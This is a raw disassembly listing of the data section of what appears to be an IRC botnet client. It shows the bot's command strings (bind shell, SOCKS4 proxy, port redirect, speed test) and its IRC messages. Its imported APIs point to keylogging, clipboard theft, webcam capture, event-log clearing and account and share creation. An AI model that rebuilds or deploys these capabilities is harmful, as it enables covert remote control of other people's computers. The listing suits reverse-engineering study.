aSynstop	db 'synstop',0          ; DATA XREF: sub_401AC7+1155o
dword_42C944	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401AC7+114Ao
					; sub_401AC7+121Fo
dword_42C950	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+1145o
					; sub_401AC7+121Ao
dword_42C95C	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401AC7+112Co
dword_42C968	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401AC7+1121o
dword_42C978	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401AC7+111Co
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401AC7+1103o
		align 4
dword_42C998	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401AC7+10F8o
dword_42C9A4	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401AC7+10F3o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401AC7+10DAo
dword_42C9B8	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401AC7+10CFo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401AC7+10B1o
		align 4
dword_42C9D4	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401AC7+10A6o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401AC7+1088o
		align 10h
dword_42C9F0	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401AC7+107Do
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401AC7+105Fo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401AC7+104Ao
		align 10h
aSocks4		db 'socks4',0           ; DATA XREF: sub_401AC7+1035o
		align 4
dword_42CA18	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401AC7+102Ao
aServer_0	db 'Server',0           ; DATA XREF: sub_401AC7+1025o
					; sub_401AC7+1078o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401AC7+100Co
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401AC7+FF7o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401AC7+FE2o
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401AC7+FCDo
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401AC7+FB8o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401AC7+FA3o
					; sub_401AC7+2D36o
aSecure		db 'secure',0           ; DATA XREF: sub_401AC7+F8Eo
					; sub_401AC7+2D25o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401AC7+F79o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401AC7+F64o
		align 4
aRz		db 'rz',0               ; DATA XREF: sub_401AC7+F4Fo
		align 4
aRulez		db 'rulez',0            ; DATA XREF: sub_401AC7+F3Ao
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401AC7+F25o
aVersion	db 'version',0          ; DATA XREF: sub_401AC7+F10o
aLo		db 'lo',0               ; DATA XREF: sub_401AC7+EFBo
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_401AC7+EE6o
		align 4
aDi3		db 'di3',0              ; DATA XREF: sub_401AC7+EBCo
					; sub_401AC7+ED1o
aRn		db 'rn',0               ; DATA XREF: sub_401AC7+EA7o
		align 10h
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401AC7+E8Fo
a63		db '63',0               ; DATA XREF: sub_401AC7+D5Co
		align 4
asc_42CABC:				; DATA XREF: sub_401AC7+D34o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401AC7+CF7o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401AC7+CECo
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401AC7+CDBo
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401AC7+CBFo
		align 4
aUser_1		db '$user',0            ; DATA XREF: sub_401AC7+CAEo
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401AC7+C9Co
aD		db '$%d',0              ; DATA XREF: sub_401AC7+C2Eo
aD_0		db '$%d-',0             ; DATA XREF: sub_401AC7+B6Ao
		align 4
aC:					; DATA XREF: sub_401AC7+A7Eo
					; sub_401AC7+4AEFo
		unicode	0, <c>,0
unk_42CB00	db  2Dh	; -		; DATA XREF: sub_401AC7+A58o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CB34	db  2Dh	; -		; DATA XREF: sub_401AC7+A47o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CB64	db  2Dh	; -		; DATA XREF: sub_401AC7+A36o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_28	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42CB9C	db  2Dh	; -		; DATA XREF: sub_401AC7+9C7o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401AC7+933o
		align 4
unk_42CBC4	db  2Dh	; -		; DATA XREF: sub_401AC7+919o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CC08	db  2Dh	; -		; DATA XREF: sub_401AC7+8FBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_29	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CC44	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401AC7+8EAo
		dd 0A0Dh
dword_42CC5C	dd 4E495001h, 47h	; DATA XREF: sub_401AC7+8B6o
dword_42CC64	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401AC7+8ABo
		dd 0D017325h, 0Ah
dword_42CC80	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401AC7+87Ao
dword_42CC8C	dd 23h			; DATA XREF: sub_401AC7+7F1o
					; sub_40CD2A+1Bo
unk_42CC90	db  2Dh	; -		; DATA XREF: sub_401AC7+760o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 10h
aS_1		db '%s',0               ; DATA XREF: sub_401AC7+6E7o
					; sub_401AC7+970o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401AC7+6C0o
		align 4
dword_42CCCC	dd 43434401h, 0		; DATA XREF: sub_401AC7+6A2o
dword_42CCD4	dd 323333h		; DATA XREF: sub_401AC7+62Co
					; sub_401AC7+AB4o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401AC7+60Ao
					; sub_409862+Fo
		align 10h
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401AC7+5FEo
					; sub_409862+16o
unk_42CCE8	db    3			; DATA XREF: sub_401AC7+5ADo
a81VrxUserSLo_0	db '8,1-VrX- User: %s logged out.',0
		align 4
unk_42CD08	db    3			; DATA XREF: sub_401AC7+58Do
a81VrxJoinedC_0	db '8,1-VrX- Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_401AC7+55Co
aQuit		db 'QUIT',0             ; DATA XREF: sub_401AC7+51Fo
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401AC7+50Eo
					; sub_401AC7+5CAo
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401AC7+4E9o
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401AC7+3CBo
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+36Eo
					; sub_401AC7+5EEo
unk_42CD5C	db    3			; DATA XREF: sub_401AC7+355o
					; sub_401AC7+2E89o ...
a81VrxUserSLo_1	db '8,1-VrX- User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_401AC7+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401AC7+28Do
					; sub_401AC7+7A99o ...
		align 10h
a433		db '433',0              ; DATA XREF: sub_401AC7+265o
					; sub_417B1E:loc_417B95o
a@:					; DATA XREF: sub_401AC7+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401AC7+22Ao
a005		db '005',0              ; DATA XREF: sub_401AC7+215o
a001		db '001',0              ; DATA XREF: sub_401AC7+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+1E4o
					; sub_401AC7+3B8o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401AC7+1C3o
		align 10h
aPing		db 'PING',0             ; DATA XREF: sub_401AC7+1A9o
					; sub_417B1E+50o
		align 4
asc_42CDC8:				; DATA XREF: sub_401AC7+19Ao
					; sub_401AC7+7BA2o
		unicode	0, <!>,0
asc_42CDCC:				; DATA XREF: sub_401AC7+A8o
					; sub_401AC7+E34o ...
		unicode	0, < >,0
asc_42CDD0	db ' :',0               ; DATA XREF: sub_401AC7+86o
					; sub_401AC7:loc_4025D3o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409862+58o
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4098FD+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4098FD+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_4098FD:loc_40A567o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4098FD+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4098FD+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4098FD+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4098FD+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4098FD+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4098FD+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4098FD:loc_40A4C9o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4098FD+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4098FD+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4098FD:loc_40A47Fo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4098FD+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4098FD+B30o
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4098FD+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4098FD+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4098FD:loc_40A40Bo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4098FD+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4098FD+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4098FD:loc_40A3C1o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4098FD+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4098FD+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4098FD:loc_40A377o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_4098FD+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4098FD+9ECo
					; sub_418AA2+65o
		align 10h
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4098FD+9DFo
		align 10h
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4098FD+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4098FD+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4098FD+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4098FD+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4098FD+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4098FD+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4098FD+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4098FD+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4098FD+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4098FD:loc_40A25Bo
					; sub_418AA2+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4098FD+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4098FD+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4098FD+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4098FD:loc_40A1FCo
		align 10h
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4098FD+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4098FD+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4098FD+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4098FD+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4098FD+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4098FD+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4098FD+81Fo
		align 10h
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4098FD+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4098FD+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4098FD+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4098FD+7F0o
		align 10h
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4098FD:loc_40A0DCo
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4098FD+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4098FD+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4098FD+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4098FD+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4098FD+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4098FD+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4098FD+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_4098FD+64Bo
		align 10h
aListen		db 'listen',0           ; DATA XREF: sub_4098FD+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_4098FD+631o
		align 10h
aBind		db 'bind',0             ; DATA XREF: sub_4098FD+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4098FD+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_4098FD+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_4098FD+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4098FD+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4098FD+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_4098FD+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_4098FD+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4098FD+5AFo
		align 10h
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4098FD+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_4098FD+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4098FD+588o
aSocket		db 'socket',0           ; DATA XREF: sub_4098FD+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4098FD+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4098FD+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4098FD+554o
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4098FD+547o
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4098FD+53Ao
		align 10h
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4098FD+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4098FD+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4098FD+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4098FD+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4098FD+494o
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4098FD+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4098FD+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4098FD+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4098FD+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4098FD+453o
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4098FD+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4098FD+43Eo
		align 10h
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4098FD:loc_409D2Ao
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4098FD:loc_409D02o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4098FD+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4098FD+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4098FD+393o
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4098FD+386o
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4098FD+379o
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4098FD+36Co
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4098FD+35Fo
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4098FD:loc_409C54o
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4098FD+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4098FD+31Ao
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4098FD:loc_409C0Fo
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_4098FD+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_4098FD+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4098FD+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4098FD+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4098FD+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4098FD+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4098FD+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4098FD+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4098FD:loc_409B5Co
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_4098FD+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_4098FD+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_4098FD+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_4098FD:loc_409AF5o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4098FD+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4098FD+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4098FD+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4098FD+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4098FD+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4098FD+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4098FD+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4098FD+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4098FD:loc_409A32o
					; sub_424C88+Do
		align 10h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4098FD:loc_409A05o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4098FD+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4098FD+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4098FD+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4098FD+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4098FD+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4098FD+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4098FD+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4098FD+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4098FD+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4098FD+2Bo
		align 10h
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4098FD+23o
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4098FD+Ao
		align 10h
unk_42D6D0	db  2Dh	; -		; DATA XREF: sub_40A5B9+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5B9+28o
		align 4
a_:					; DATA XREF: sub_410330+24Do
		unicode	0, <.>,0
unk_42D860	db  2Dh	; -		; DATA XREF: sub_40A91C:loc_40A9DBo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 10h
unk_42D890	db  2Dh	; -		; DATA XREF: sub_40A91C:loc_40A9A9o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 10h
unk_42D8C0	db  2Dh	; -		; DATA XREF: sub_40A91C:loc_40A975o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D8E4	db  2Dh	; -		; DATA XREF: sub_40A91C+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40A9FA+46o
					; sub_40C29A+38o
		align 10h
aReal		db 'real',0
		align 4
		dd 0
dword_42D92C	dd 0			; DATA XREF: sub_40AE77+7o
off_42D930	dd offset sub_40AAA0	; DATA XREF: sub_40AE77+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AB0Ch, 7474656Ch, 7265h, 0
		dd 2, 40AB6Ah, 706D6F63h, 2 dup(0)
		dd 3, 40ABB7h, 6E756F63h, 797274h, 0
		dd 4, 40AC55h, 736Fh, 2	dup(0)
		dd 5, 40ACCAh, 6E6C6C61h, 6B6369h, 0
		dd 6, 40AEE0h
off_42D9AC	dd offset aAbdulrazak	; DATA XREF: sub_40AAA0+20r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D9B8	dd offset aAddison	; DATA XREF: sub_40AE77+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
